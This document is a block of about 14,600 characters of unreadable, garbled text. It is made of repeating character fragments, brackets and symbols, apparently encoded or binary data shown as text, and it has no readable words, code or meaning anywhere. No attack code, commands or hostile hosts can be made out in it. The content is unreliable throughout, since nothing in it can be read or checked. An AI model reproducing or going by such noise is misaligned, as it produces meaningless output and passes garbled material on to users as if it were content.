B._VSm vU_r[RB LXU\W&R2UB][Q"RQZ	 ZVj$|W`	B:}VSnj30`_@[WQ =AXUvWR7UA]~Q/ RgQR	eZMOjWM	R:kVSm132=_3[LR =nXU@W`R	Uh]}Qg3RdQ5	&ZRA3FWO	@>VVSl?230_C[S@ 5L6XfUTW`RUQ]CQaRQR	 ZVP#4W`	43VSn'130`_p[SA 5@XUnWRUQ]uQ3RgQV	fZdB;jWL	P&MVSm/V 2"_0[cA 5n6XU7WR U6][Q7RQJ	:ZN@#jWP	RNVSmbD0_r[RA A6X:UnWR	Uk]DQg3RfQh	ZU_?hWg	kuVSkt13_l[UR 9NXgUvWRUA]8QcRQ5	
Zd5#BWP	PiVSl` z_v[`R 9R1XUHWR7UQ][Q=7RQt	gZbO6W`	o2]VSV5E_r[S@ %lX?U7W&R2UA]uQgRQZ	!ZMR35Wg	o5V6SD;q j_l[OO D1X>UDW.R7U6]_Q<1R.QJ	fZbB3hWW	nuVSn;r0X1_[WR 9LX.UbWRUP]KQcRQF	&Zbi5W[	ngkV STDU!_3[TP %lX9UHWRUk]DQg3RfQh	ZU_?hWg	kuVSmc2U_W[dA DXUTW&R2U@]GQ3RfQh	 ZdB?hWc	OV3SH8v6m2_0[`R zX>UTWfRUh]bQ 1RgQd	ZZOW`	@gMVSmQ7H1_p[WP OXgUvWRUA]8QcRQR	ZVjfvWM	PgMVSn2V_@[WP @XUnWRUQ]8QcRQt	eZN_WU	B.OVSkt0T_w[cB 9NXgUvWRUA]8QcRQ5	
Zd5#BWP	PiVSlw z_1[P5 "zX>UDWRUh]}Q  RfQR	
ZbB3nWU	@gNVSGc2U_W[dA A6XU?WRUh]eQ3RfQg	bZbl|Wg	huV6SHqF_p[O6 =AXUnWRUl]OQ3RfQh	 ZTP#jW`	MNVSm$y 3_3[LO lXUjWRUk]DQg6R?QZ	eZMO6WP	B}VSnO1z_\[T_ hXUTWRUk]8QRdQI	$ZSAGW`	k>EVSj;0 j_3[L@ `D1XUDWRUA]9QdRQF	ZeAGW`	Bo}VSnO1z_\[T_ hXU@W`R	Uh]}Qg3RdQ5	&ZN6;GWW	]>VVSWbt13_l[UP YXUTWR	Ul]aQf R>QJ	ZbB;rWM	P&OVSjv322_4[LO 0XUPW<RUl]OQRQF	&ZeBhWM	] @VSmq33_0[Rl 5nX:UjWR7US]_QRQI	$ZSAGW`	A:kVSmk1z_l[WP %21XU?WfRUh]}Q1RgQR	:ZTR4W[	k2sVSlS7G_q[S@ 5LXfU?W.R	Ul]aQ3RfQg	cZU_?hWg	kuVSk013_i[WR 9L6X?UTWRUl]OQRQF	&ZeO?IWg	B.}V3S2o4V_[[@ @XUnWRUQ]8QcR QJ	fZVR3hWT	CkVSF1322_0[eB 9RXUTWRUk]8QRdQI	$ZSAGW`	k>VVSl?230_C[SO HXUTWR	Uk]yQd3RfQh	$Zbl?TWU	M~V SXB U%_G[WP 06XgUvWRUA]8QcRQY	$Zek@W`	k>VVSFB0T_V[Wi zXU@W`R	Uk]<QRQI	$ZSAGW`	A:]VSV50_r[RA D1XU~WR U4]GQd RgQV	%Zbi5W[	ngoVSjH0_r[R@ %hX9UjW RU7]eQ R.QI	cZRB<|Wg	S sVSkS7E!_Q[e7 9LX.UbWRUP]KQc7RQt	ZeR;hWP	@iVSlr2_l[Rl =DXU~WRUN]jQ-6R9QZ	 ZSiTW`	7c}VS20E-_o[dk F6XUbW&RUj]jQ/1RgQQ	cZRB?TWU	@sVSl?SV>_1[SO 9OXgUjWR	Um]_QRQV	%ZbiIWX	S oV3S2n7G_r[dk FXUnW&R	UA]GQ'0R QN	
ZVR4|WL	@sVSmfS7G_w[`P `lXU~W-RU@]jQ 3RdQZ	fZMB?BW[	6&VVSG/W33_@[cj %h6X.UjWR	Uk]yQ 1RfQZ	:ZaR?TWU	MOV3SHQ30`_F[[B =07XeUPWRUj]@QdRQF	ZeAPWW	6}VS2v131_@[cj %h6XfUHWR	Uh]eQb1R.QJ	ZMi'rWM	RcuV6SH'V32_P[T_ 9OXU~WR U6]KQRQx	9Zek@W`	k>EVSm#J 2_0[UP %LXU3W&R	UA]4QRQI	$ZSABWO	M&VVSD7E_r[RO 0XUWWfR7Uk]TQ/R9Qs	*ZdS|WW	C=5VSC#hX_w[dS QX8U\WRUP][QgRQg	bZSl;hW`	COV3SVt32=_1[LP "z6XUjW&R7UB]eQRQ5	ZN6;GWW	]>uVSlV0X_r[X5 RXU7WR	Uh]OQdRQt	
ZVR3jWT	A2]VSV57G_}[LO lXU~W8RUR]OQ3RdQZ	fZQl3hWM	RcuVSkjV_[X5 nXUPW RU5]eQ RQZ	 ZT5#JWP	C NVSG7E_p[cl =nX UDW R2U@]DQ 6R9Qg	+Zb@_WO	@OVSGQ0X_l[e7 z5XeU\W.R7UB]KQbRQB	ZU_?hWO	Q5V6SDr3Ed_r[RP RXdUTW`R	Ul]HQ 6R9Qg	+Zb@?KWW	5:kVSDD7E!_3[L@ `D1XUDWR	Uk]uQ3RdQ5	&ZY5_W`	S oVSjHG=_l[Ri nXUTW`RUP]CQd R.QJ	eZbOWg	h.uVSFW 3_s[[O 2XUDWRU7]eQb RdQt	
ZVR3jWT	B:3V3S1O32=_3[Wl 53XU@W.R7U4]8Q<RQI	$ZSBGWO	@>]VSV7E_r[RO 0XUWWeR1UR]TQdRQE	aZeC|WO	h6V4Sn5X_|[Sm 10XgUTWRUP][QgRQg	bZSl;hW`	COV3SVO j_r[e4 37XUPWRUA]<Q"0RQZ	gZd5fBW`	i kVS27E_v[WP %26XeU@WfRUh]}Q0RQZ	gZd5fBW`	i3VSn213_r[OR 9L6X?UTWRUl]OQRQF	 ZdB4Wg	B.sV6SH'SV_@[cj `D1XUbW RUk]8Q0RQZ	ZRO?hW[	5iVSDD7E!_q[WP OXgUvWRUA]8QcRQ5	
Ze_nWg	M:_VSmt6j_r[S@ 5LXdU7WRUh]OQd1RgQR	$ZNR?TWU	ANVSG7E_p[dB AXUnWRUl]OQ3RfQh	 ZTP#JWW	4 uV3SWnS6k_3[P4 yXUbWfR2UB][Q<RQB	
Ze_nWg	M:_VSmbWU!_o[dk F6X:UnW`R	Uh]OQd1RgQR	$ZNP_WO	@}VS1?26k_Q[UR 5n7XU7WfR	Uk]GQRQB	
Ze_nWg	M:_VSmc2U_W[dB AXUnWRUh]eQ$RQt	:Zd734W`	7csVSn?20U_p[O6 =AX UjWRUP]KQaRQU	gZVjmWf	o2VS3sX_0[WB )V XU3W$RUk]iQ<RQV	+Zek5Wc	OV3SH8v6m2_0[`P n1X UDWR2U@]GQ0R QJ	 Zb@fjWL	C3VSn'V 2_\[cB 5hXUPW8R U4]CQaRQR	&Zbjg|WM	R:MVSmqV_s[NP n1X UDWR2U@]GQ1RfQZ	:ZSijWa	BsVSn;412_C[T_ 9n1X8U\WR	U@]eQ$ RfQR	ZVPFWO	@>VVSl?J z_4[L@ %lX UDW8RUR]OQ1R.QN	
Zd7Wg	B.}VSl40T_P[TP pX9UjW8R7US]GQRQp	 Zd_4W`	4iV3SWkV_\[Rl 2zX UDW&R2UB]XQ RQx	9Zek@W`	hcsVSj;qW_l[`R =R6X.UjW8R U5]bQ 1RfQw	fZd5#BWW	7sV6SH'rF_i[S@ RXUHW8RUA][Qg RgQR	gZT__W[	6OV3SH?O119_o[e_ R6XfU3W RUl]aQ'RQZ	:ZaR;TW`	o2]VSV57G_3[Wl 5hXU~WR	UC]KQRdQ5	ZTR;IWg	@}V3SGB 2_r[Rj %LXUPWR U6]KQf1R8QB	%Zd_?5WL	] }VS2o27H_4[e_ y6X.UbW`R7UB][Qf1R.QN	%ZN4?5WL	] }VS2o2X_F[SO 9n1X8U\WR	U@]eQ$ RfQR	ZVPFWO	@>VVSn?rU!_l[e7 526XfU3W RUl]aQ'RQZ	:ZaR;_W[	6&VVSD7E_r[RO 0XUWWfR	UR]TQ-RQ0	!ZaCSWO	i=5V6S3CU_S[eB =lXUvWR	Uk]uQ  RgQV	ZZ@#BWU	C:5VSjV31_@[cj %36XUHW&RUj]CQbRQZ	ZVQ3FWO	@>VVSn?rU!_l[e7 52XdU7WR2UN]eQRQt	?ZUPf5Wa	@guVSj;J z_4[Lj %D1XUDWR0UP]CQg6R9Qh	 ZbOhW[	k2OVSkS7G_w[WR 5nX?ULW RUj]eQRQ5	ZUlTWS	oNVSkQ7l_p[O6 =AX UjWRUP]KQaRQR	!ZMR35Wg	o5V6SD;qW_O[cB =tXfU~W.R7UB]KQRQB	
ZdOjWW	h.}VSnv6l_p[SA 5@XUnWRUj]eQ R.QJ	
Zb@_WO	@EVSm#W 2_l[Pj %D1XU?W.R7U6]_Q"3RgQR	 ZY5#BWW	6:MVSkWU_r[RA l6XUTW8RUC]_Q7RQY	+ZVj#hWT	@3V3SWnB3_C[Pl Y6XeUPW8RUR]LQbRdQ5	%ZQk3}WP	PAV SWnWU!_o[cl =O6XULW&RUk]5QbRQB	ZT_?KWV	:]VSV532=_V[UP %l6XUTW8RUC]_Q7RQY	+ZVj#hWT	@3V3SWnB19_G[Pl Y6XeUPW8RUR]LQbRdQ5	%ZQk3_WS	PAV SWnWU!_o[cl =O6XULW&RUk]5QbRQB	Zbi?KWV	:]VSV532=_V[UP %l6XUTW8RUC]_Q7RQY	+ZVj#hWT	@3V3SWnB3_}[Pl Y6XeUPW8RUR]LQbRdQ5	%ZQk3}Wa	PAV SWnWU!_o[cl =O6XULW&RUk]5QbRQB	ZY4?KWV	:]VSV532=_V[UP %l6XUTW8RUC]_Q7RQY	+ZVj#hWT	@3V3SWnB19_@[Pl Y6XeUPW8RUR]LQbRdQ5	%ZQk3_WP	@AV SWnWU!_o[cl =O6XULW&RUk]5QbRQB	)ZT4?KWV	:kV5SzHG=_l[X4 zX8UPW&R7UQ]4QRQB	
ZT74|WU	B.kVSGfD U!_@[Ll Y6XdULWRUk]5QbRdQw	$ZRBIWP	AAV SWnBE`_Q[O4 9OXUPW.R	Uj]_QRdQ5	%ZZ@f4Wa	2CVSTHG=_l[X4 zX8UPW&R7UQ]4QRQB	
ZT74|WU	B.kVSGfD U!_@[e7 Y6XdULWRUk]5QbRdQw	$ZRBIWP	M2AV SWnBE`_Q[O4 9OXUPW.R	Uj]_QRdQ5	%ZZ@f6Wa	2CVSTHG=_l[X4 zX8UPW&R7UQ]4QRQB	
ZT74|WU	B.kVSGfD U!_@[Tl Y6XdULWRUk]5QbRdQw	$ZRBIWP	CAV SWnBE`_Q[O4 9OXUPW.R	Uj]_QRdQ5	%ZZOTWa	2CVSTHG=_l[X4 zXUTWR7U7]jQ RdQZ	Zb@_WO	@3VST?jT_r[dk FXUnWRUj]eQ R QI	bZbOvW[	7}V3SG431_O[RP YXUTWRU@]eQ R.QJ	
Zb@TW`	PAV SWov V9_s[WP YXUTW`RU4][Q<RQl	ZRO?6WO	BoV3S2n7E_p[cl 2yXUjW&RUh]eQ7RQN	Zd4BWU	B.3VSTD0`_s[T_ 9nXU\W&R	Uj]_Q7RQV	%ZQl_WX	PAVSGbD31_s[[B =07XdUTW<R7UQ]4Q<1R?Q5	)ZN5sWO	@>VVSl?VT_4[cO pXfUTW&RUh]aQ$0R QN	:ZM@#JWQ	P:kV STDF_\[U7 2zXU~W8RUA]<Q RQl	%ZUl_W`	4 kV ST?D7D_@[[@ YXUTW`R7U|]OQ<RQd	%Zek@W`	hcuVS3?VU_Q[S4 6y1XU~W R2UC]KQ< R?Q5	%ZOPTWP	BcOV6SD;t30`_s[e@ Y6XdULWRUS]KQRQ5	%ZL5TWQ	]23V3S2o3V_[U4 9MXdUTWRUP]KQc7RQZ	Zd74W[	nhV3S0<{13_v[L@ %LXUjW8RUR]OQRQB	
ZT74|WU	B.kVSGfD V9_s[Pl H6XeUPW8RUR]eQ7RQN	)ZZ@_WW	P3V3SzjX1_s[dk F6X9U3W&RU5]eQ RQZ	ZR40|W[	ouV6SH8yW_P[[B L6X.UjW8RUC]_Q" RfQg	fZbj#JW`	6kV SWnB V9_}[Pl 9L6X-U?W8RUC]fQg7RQd	%ZNjTWa	5o3VSWDU_W[dO 9OXU\W.R7U@]GQ"3RQd	Zd5#jWa	Bc3VSTD0`_s[T_ 9nXU\W&R	Uj]_Q7RQV	%ZQl_W`	51VSGbD31_s[[O 27XdUTW<R7UQ]4Q<1R?Q5	)ZN5sWO	@>VVSl0{ z_1[X5 %tXfUTWRU5]eQRQZ	ZZBJW`	:kVSEt 22_0[cj %L6XgUTW8RUQ]4Q RQl	%Zd7?JW`	|okVSE<{7H1_s[Oj R7XdU?W`RUQ]CQRQF	ZeO?IWQ	S}V3SFt3H1_O[cA 5nX?UvWRUj]eQ$7RQE	$ZR@3JW`	43VSjV32_P[SO 926XdULWRUQ]4Q RQ5	&ZR@36W`	7_VSHDX_s[[O L7X.UbW8R1U|]OQRQF	ZeOjW`	SkVSF?Q z_\[c@ R6XUTWR U6]\Qg RQl	%ZRB?JWW	23VSj<{ 3_l[e5 90XU~WR	Uk]GQRQZ	
ZbO0}WO	@iVSmnS7G_0[L7 53X:UbW;R7U6]aQ$RfQZ	:ZSl;BWU	B.3VST40`_O[OO 906X?UTW:R7U4]4Q<1RgQd	)ZR@4W`	7RV3S320_r[RA l6XUTWRUA]4Q" RfQg	fZbj#JW`	6kV SV17l9_s[Pj R6X?UTWR7U7]eQ<1RgQQ	fZM_rW[	7uVSn;r0T_l[L@ %LXUjW8RUR]OQRQB	
ZZO5WM	Q}V4SGj30_0[c@ ayX>UDW&RUm]aQRdQw	$ZZA3TWa	4 kV ST?D7D_C[[@ YXUTW`RUS][Q<R QM	$Zek@W`	C uV3SUD7G_}[Wj %nXUTW`R7UQ]4QReQl	?ZQlTW`	4 kVS2tT_0[e7 5nXUbW`RUk]DQg3RfQh	eZMR;hWT	B@VSmo4V_@[cl :zXUbWR	Uj]eQ7RQJ	:ZN@#jWg	oMVSlj k"_r[N_ 6yXUTWRUk]5Q!RQB	ZMO?6W`	kVSE;T7Ed_U[NQ =AXUTWRUP]KQc1RgQR	:ZMB;BWg	B:kVSF0v0_Q[cO 2XU\WRUl][Q$1RfQx	9ZZO5W[	k:uVSE;K1n_\[Wl :zXU~W.R1UA]CQ<R QN	gZVR;hWT	B@VSjt z_O[`P %D1XUbW`RUk]DQg3RfQh	eZMR;hWT	B@VSjt3z_1[Wl =DXdUbW`RU5]eQ$0RQh	ZZBJWL	BcuVS3?VU_Q[S4 6yXUbWfRUj]eQ$7RQE	$Za_?hWQ	]2OVS2B3H1_O[cA 5nX?UvWRUj]eQ$7RQE	$Za_?IWQ	S}V3SFt3H1_O[e5 %l7XU3W`RUR]OQ'7RQt	ZVi5WW	hchV3S0<{13_v[L@ %LXUjW-R7UP]jQ- R.QN	gZY5#rW[	7uVSn;r0T_l[L@ %LXUjW<RUl]OQRdQE	$ZSA;GWT	]MV6SDJW_v[Wl 52XfUTW&RUj]eQ>1R.QJ	:Zd7?TWU	M5V6SFr12_r[LO R6X:UnWRUl]OQRQh	 Zd@TWg	]MV6SDJW_v[Wl 5pXU~WR	Uk]uQRQt	ZU_0WW	4}VSm 1 j_O[cB =OX.UHWR2UA]uQ"7RQd	&ZVPIW[	6&VVSGb57G_r[e4 37XUPW8RUR]OQRQt	ZVi|W`	A@VSk;rU!_Q[L7 =l6XU3WR0UP]CQg6R9Qh	 ZbB4WQ	R:uVSmS7G_w[WR 5nX?ULW RUj]eQRQ5	&ZN6;GWW	]>VV6SG/1V_@[cj `D1XUbW RUk]8Q7RQV	'ZROBWg	nsVSn?20U_p[T_ 9n7XUbW.R7UN]LQfRQ5	&ZRA3FWO	@>VVSWb513_l[LB =D1XUjW8RUN]CQ1R:Qd	%ZO@fJWW	4}V3SG10`_i[Rj 2X.UDWfRUj]eQ=3RdQw	$ZdPBWg	h.}VSlD7H6_5[cj `D1XUbW RUk]uQ7RQI	bZeR3jWT	B@VSjj7H_C[Tl 06XUvWRU@]CQ0RQZ	eZTR<|WS	QkVSHq7G_r[e4 37XUPW;R7U6]aQ0RQZ	eZTR<|WS	R@VSjj7H_C[Tl 06XUvWRU@]CQ>6R9Qh	ZNjTWa	7:3VSn213_r[OP 90X U@WfR2UC]KQ< R?Q4	cZZO?4WP	SAV3S2fJ U-_Q[[O lX U\W8RUN]CQ'7RQZ	$Zd45Wa	A hV3S0;j6m=_G[[B LXUTW`R7US][Q RQd	'ZSlHWW	5"uV6SH'V10d_W[SO 90XU3W RUh]eQd0RQZ	 ZR40|WQ	R.sVSj;O7D_r[`_ 906XUvWRUC][QgRQ1	+ZQk?hW`	M2oV3SWnj1n_\[d_ h1XUjWR
Uk]CQ<3RfQZ	 Zd40}WO	B:3V3S2fJ U-_C[e@ M7XULWRUh]aQ$ RfQZ	ZNjTWa	7:3VSn213_r[OP 90XU7WfR	Uk]GQ= ReQB	ZS_4Wa	6 iV3SXq7G_r[e4 37XUPW;R7U6]aQ'0RQg	+ZbO0}WO	B:3VSUV0U"_5[[@ @XUnWRUQ]zQbRQF	ZeBGWO	@>VVSn?rU!_l[e7 526XfUTW`RUQ]CQaRQQ	$Zek@WO	@>~V3Sz?DWd_4[SC q0XU2WeRUQ]aQ'RQc	*ZYk;GWT	]MV6SDJW_v[Wl 52XfU3W&R2U@]DQ 1RgQR	:ZbB?TWU	BcuV6SFt6k_i[WP OXgUvWRUA]8Q" RdQZ	 ZbiBWX	Q:EVSl?W13_@[cj %nX9UHW&R	Uk]uQdRQx	9ZeA;GWW	]>MVSn;W 2_P[T_ 9n5XeUPWR	Uj]\Qb7RQY	+ZNP#hW`	M2~VSD232=_r[cl 9R6X8UPWRUk]CQRQF	&Zek@W`	k>5V6SGfSG_v[UR zXUPW.R7US]_Q"3RfQZ	:ZY5#hW`	M2~V3SXV7H6_5[cj %36XUHW&RUk]8QRQB	'Zd@TWP	BcuV3SG/k30`_}[N_ 90XUTWRUk]4Qg7RQV	%ZU_?hWc	4 OVSl40`_[`_ 27XeUPWRUj]@QdRQ8	$ZSAGW`	k>EVSn'S 22_0[cl 9RXU3W&R2U@]GQ"6R?QZ	?Za_?6WM	B~V3SV?16m=_V[cO Y6X.UHWbRU^]CQRQI	$ZSAGW`	k>uVSmkU!_1[c@ %LXU3W&R	Uk]GQ=3RfQZ	 Zd44Wa	43V3Szt33_v[X5 %L6X>UbW8R1U|]OQRQF	 ZOQ;GWW	]>VV6SG/1V_0[W_ {XUTWfR2U@]GQ$RQB	
Zbj#jWW	hc5VSmq7H6_1[[O 2XUTWfR2U@]GQ$RQ5	&ZRA3FWO	@>VVSWb5W_3[TR 5lXU3WRU@]eQ"3RfQh	 ZbiBWX	R:3V3Sz?j1n_\[eO lX9U~W-RUQ]5Q-7R?Q1	)ZVPFWO	@>VVSWb5U!_l[`R 5n6XUjWfR7U6]_Q"3RfQZ	:ZY5#hW`	M2~V3SXV7H6_5[cj %36XUHW&RUk]9QdRQF	ZeABWO	M&VVSG 4Wm_r[RA LXU?WR2U@]eQ1RgQU	$ZK5g|WW	i}VSlSE-_o[SA =AXUnWR	Uh]}Q RfQg	fZbl?TWU	BcuV6SFt6k_i[X7 Y7X.UHWbR7U4]9QdRQF	ZeO5W[	oMVSn?qX_Q[e7 5lXUPW.R7US]_Q"3RfQZ	:ZY5#hW`	M2NVSmowV9_}[S@ 26XdULW<RUl]OQRdQE	$ZSA;GWW	S~V3S1;SX_N[eA z XU@WR1US]<Q0RQd	ZZOWWV	CBVSEf16H_s[T_ K7X:UTWdRU]4QgR:QZ	?Zek5Wc	OV3SH8v6m2_0[`P n1XUTWRUA]8QRdQI	$ZSAjWQ	ROVSn?4 1_s[cj `3XUvW<RUl]OQRQZ	gZbB;IW[	k2OV3SWnS7G_1[[@ `0XfUvW`RUA]XQbRdQx	%ZVP_WM	@3VSnkV9_}[[@ YXUTW`RUh]OQ=RQl	?ZZ@FWO	@>CVSTHU_W[Wi 0XU@WR2Um]CQ$R>QV	ZbAwWX	7.6V5STj6F_H[e@ )QXfU3W$RU6]iQ<R.Qd	ZZ@<4WN	4WVSinrl_G[dk 35X.U@WR7UN]bQ 6R9Qg	fZaPhWQ	R.MV4SF4W_@[T_ 9O1X?UvW.R7UA]uQRQt	ZeR;hWP	BkVSF?q z_O[Pj `DXU@WRUj]@QdRQF	ZeOjW`	PNVSF?q z_O[Pj `DXU@W8RUR]LQbRQB	)Za_?6W`	n_VSjHE_p[cl 53X UHW.R	Uh]LQ 6R8QB	%ZOPTWU	@gsVS3?W10!_\[Pj `DXU@W<RUl]OQRQY	$Zek@W`	hcOV3SD<{12_r[LO R6X.UjW8R U5]bQ 1RfQw	fZd5#BWW	7sV6SH'rF_O[b7 R7XfUHW8RUN]CQ 7RQd	ZRO?hWL	SMVS14W_@[WP @XUnWRUj]eQ' R.QN	ZQjfBWU	CkV STD1z_\[e7 y1XU~W.R	Uj]GQb0R QJ	ZU_?6WM	C3V3S0D7H6_1[[O R6XfU3WR7UB]fQ-1RfQZ	$ZMOTW`	o2]VSV56m=_q[SB 9O1X>U@W R	UN]bQ 1RgQV	Zbl35WM	Q}VSnv6l_F[SO N7XUPW8RUN]HQbRQB	)ZVi?6W`	n_VSjHE_p[cl 53X UHW.R	Uh]LQ 6R8QB	%ZOPTWU	B:OVS0;B0U_\[T_ 27XeU\W`RUQ]CQaRQR	 ZOQ;GWW	]>}V3SGvU_1[`P RXUjWRU6]aQ0RQZ	
ZUPFWO	@>CVSTHU_W[Wi 0XU@WR2Um]CQ$R>QV	ZbAwWX	7.6V5STj6D_6[cA qX9UTWdRUS]uQ"3RQV	"ZZ@;dWS	77VSj3rm!_P[dk 35X.U@WR7UN]bQ 6R9Qg	fZaPhWQ	R.MV4SGBG_r[LO RXU3WR7UB]fQ-1RfQZ	$ZMOTW`	n_VSjHE`_\[Pj `DXU@W&R	Uk][QRdQ5	ZbA3IWW	7OVSl?rF_[Wi 90X?UTW`R	Ul][Q R QN	ZeR;hWP	C oVSjHE`_\[`R =lXUTW:RUj]CQ R.QN	:ZaR;TWP	Bc}VSnv6m_\[eR 9NXgUvWRUA]uQ3RgQV	%ZU_?hWL	QOVSmosV9_i[WP OXgUvWRUA]8QcRQg	bZTP#BWS	S3VS14W_0[cj `pXfU3WR	UA]GQ1R?Qx	$ZS_TWU	@sVSl?S32_1[S4 9nX U@WRUl]OQd R?Q5	&ZN6;GWW	]>CVSTHE`_\[L_ OXgUjWR	Um]_QRdQ5	ZVR3BWW	7OVSl?rF_[Wi 90X?UTW`R U7]CQbRQZ	fZbjf4W`	h:3V3Sz?jU_r[RA LXU@W.R U7]CQbRQZ	ZR@3JWW	5gMVS3?E13_l[Pl 5n7XUvW&RUm]_Q<1R:Qc	gZZOTW`	7~V3S3kV_\[L_ OXgUjWR	Um]_QRQI	$ZSABWg	B.MVS22 3_s[cl =DXdULW RUj]eQRQI	$ZSBGWO	@>]VSVV1n1__[eA 3XUTW?RUk]GQR:QB		ZV_;qWO	7PV3Sj3rj_|[e@ )K6XgUvWR7UA]~Q/ RgQR	eZMOjWM	R:kVSk;rW_3[e@ %0XU3WR7UN]OQd RgQR	$ZT5#JW`	n_VSjHE`_\[e5 %D1X>U@WR U6]KQRdQ5	ZZ@#BWU	@sVSm#j j_w[d_ 2XU3WR7UN]OQd RgQR	$ZT5#JW`	o2]VSV56m=_q[SB 9RXUbW&RUh]bQ/ RdQt	ZR@3HWO	@AVSGbD0_r[RA A6XUbW&RUj]jQ/1RgQQ	cZRO0rWL	S3VSW7E_v[NP nX9UHW.RUk]GQ3RgQV	%ZU_?IWg	B.}VS2kV_s[NP 5L6XeULWRUj]@QdRQF	ZeABWg	B.MVS22 3_s[[@ 9lX?U7W`RUQ]CQaRQR	 ZOPhW[	h}VSlD0_r[RA A6XUbW&RUj]jQ/1RgQQ	cZRO?IWg	B.}VS2kV9_o[dk F6XUjWRUP]XQbRQF	Zek4WM	CkVSXJ G_7[P6 [5XUrWRU5]WQ>RfQF	aZW_;]Wc	BWVSTH32_l[`P ayXUPWRUl]_Q3R.QJ	:ZM@#nW[	h:NVSF?1W2_4[XP `lXU~WRUj]@QdRQF	ZeO5W[	oMVSn?qV_0[e@ `lX?U7W&RUk]4QbRdQw	$ZR@#nW[	h:sVS1?W z_4[P5 %D1XUPW.RU7]eQRQB	
ZdB;jWL	RsV6SDrE`_p[S@ 506XfUTW;R2UA]GQ7RQd	%ZNjTWQ	ROV3S32U_S[NQ =AXUvWR7UA]~Q/ RgQR	eZMOjWM	R:kV4SU;rX_V[W_ yXU@W`R	Uj]eQ1RgQV	 ZN6;GWW	]>uVSlV0X_r[X5 RXU3WfRUh]eQ"0RQZ	
Ze_TWU	C&~VSF?q z_O[Pj `DXU@W<RUl]OQRQh	 ZdB?TWa	C }VS3'rV_@[ci 26X8UPWR7U4]4Q"6R?Qo	$ZUj6WW	:]VSV56m=_q[SB 9RXU3WfRUA]5QbRQY	fZQj#jWL	Rc5VSmS7G_\[W_ 26X8UPW8R U4]CQaRQR	&ZeB<|Wg	S OVSlDF_\[eO lX9U~W8RUR]OQ1RgQR	:ZeP#hWU	C }V3SUt32_@[WR 9LX.UbWRUP]KQcRQF	&Zbj#NWO	PgMVS3?E13_l[Pl 5n7XUvW&RUm]_Q<1R:Qc	gZZOTWa	43V3S0t32_v[e4 27XeU\W`R7U|]_Q"3RgQR	 ZY5#JW`	o2]VSV5E_v[WP %2XU3W&R7UA]uQ=3RdQ5	+ZO_?6WL	BkVSGf1V_\[eO lX9U~W8RUB]OQ<1R:QU	cZZ@TW`	]kVSm/O j_\[W_ 2XU3W&R7UQ]8QRdQI	$ZSAGW`	k>VV6SG/1V_0[W_ {X UHW.R7UA]zQ 0RQh	gZY5#JWP	BcuV3SWbWU!_o[dk F6X:UnWRUQ]8Qc7RQZ	
ZV_5WU	M:MVSnI7G_S[RP 90XUTWfR2U@]GQ$ RgQR	$ZT5#JWQ	P:iVSn8v12"_0[e5 %DXfUHW R2UN]}Q$RQB	
ZaR4WQ	PsVSl?S1l_[[O RXUTWRUA]CQaRQR	&ZeAGW`	k>3VSl?W13_\[dR =n7XUbW`R	Uj][Q3RQd	ZT7;hW`	@ouVSk;K1_Q[cj `DXU~WRUC]aQ%1R9Qg	$ZT5#TWW	7 oV3SGc3131_[X5 %36XUHW&R2UB]HQ 6R9Qg	+ZbB?TWU	MNVSmc2U_W[dA A6X:UnWRUj]eQ"6R?QZ	gZbjfBWU	M:hV3S1?` m_o[[@ %n6XUbW RUh]aQ R.QJ	ZZBHWO	RuVSl?[6m_}[Wj %RXU3W&R7UQ]9QdRQF	ZeAGW`	k>VVSl?t6k_1[cj `DXUjW;R7U7]eQ6 R9QJ	9ZZ@#hW`	M2}VSm2 0`_O[RP 5lXU~WR0U@]CQ$1RgQQ	+ZTR?TWU	MNVSG7E_p[dA A6X:UnW`R	Uj]eQ1RgQR	
ZeR;hWa	@23VSlK3H1_O[ci D1XUHWfR2UB][Q&7RQE	$ZOR;jWT	C3VSl?W13_p[O6 =AXUnWRUQ]8QcRQ5	
ZbiBWg	BcsVSl?43H1_\[Vl jXfUTW.RUk]GQdRQR	:Zd7|WW	i OV3SGj k"_r[cj %HXgUvWRUA]8QcRQF	&ZeO?hWU	C }V3SF?4W_r[S4 9nXUjW;R7U6]aQ RfQZ	 ZbB3nWU	@OVSm/q6n1_O[RP 5DX9U~WRU@]eQgRQx	9Zek@W`	k>VVSWb57G_W[`l 9MXgUvWRUA]8QcRQF	 ZOQ;GWW	]>VVSWb5D_l[LB )n6XU7WRUC]_Q"3RgQV	&ZN6;GWW	]>VVSW 4U_W[dA DXUvWRUA]8Qc0R QJ	 ZVi|W[	hc5VSmS7G_\[TR 9NXgUvWRUA]8Qc0R QJ	 Zb@fBWg	@gMVSnv0T_r[Ri nXU@WRUA]CQaRQR	&ZeO5W[	oMVSn?qV_\[ci D1XU3W RUj]eQbRQI	$ZSABWO	@uV6SFO30`_Q[O6 =AXUnWRUh]eQ$RQt	:Zd734WW	6:}VSH?40`_@[WP @XUnWRUl]OQaRQQ	$Zek@WO	@>uVSGq0T_\[WR 2zXUTW.RUk]8Q7RQt	eZUl3TW`	n_V3S2n7E_p[Wi zX?UvWfR	Ul]eQ7RQt	eZUl3TWL	BiVSn?23_[O6 =AXUnW`R U5]eQ$1RgQd	%ZOPTWU	B.}VSH?V13_s[NP R7XfUTW<RUl]OQRQh	 ZdB?TWa	Rc}V3SGOV>_r[SB nX UPW.RU5]OQ= R>QN	$ZMP#BWg	A NVSF?O12=_F[WR 9LX.UbW8R1U|]OQRQF	 Zd5#BWU	A}V3SDD V9_o[dk F6XUjW8R	Uk]GQ=1R.QJ	ZROjW`	S5VSn'E13_l[UR 2yX:UbW RUj]_Q7RQt	gZbO6W`	i kVS27E_p[dO 3X>UDWRUh]eQ'RQl	+ZN5sWO	@>VVSjD32=_V[UP %LX.UbWRUP]KQcRQZ	gZbB;IW[	k2OV3SWn2U_r[RA DXUnWRUP]KQc1RgQR	:ZMB;BWg	B:kV SWo2U_S[NQ =AXUvWR7UA]~Q/ RgQR	eZMOjWM	R:kVS3S7E!_3[Tl 5R6X?UTWR7U4]4QaRQR	 Zd5#BWU	A}V3SDDW_}[O_ y7XUHWRU5]LQ/3RdQZ	gZNR?TWU	@g}V6SEWU_r[RB AXUnWRUP][QgRQg	bZSl;hW`	COV3SV113_@[ci D6X8UPWRUl]OQRQg	+ZN_Wa	B@VSm#232=_l[P4 3X?U7WR2U@]DQ RQB	
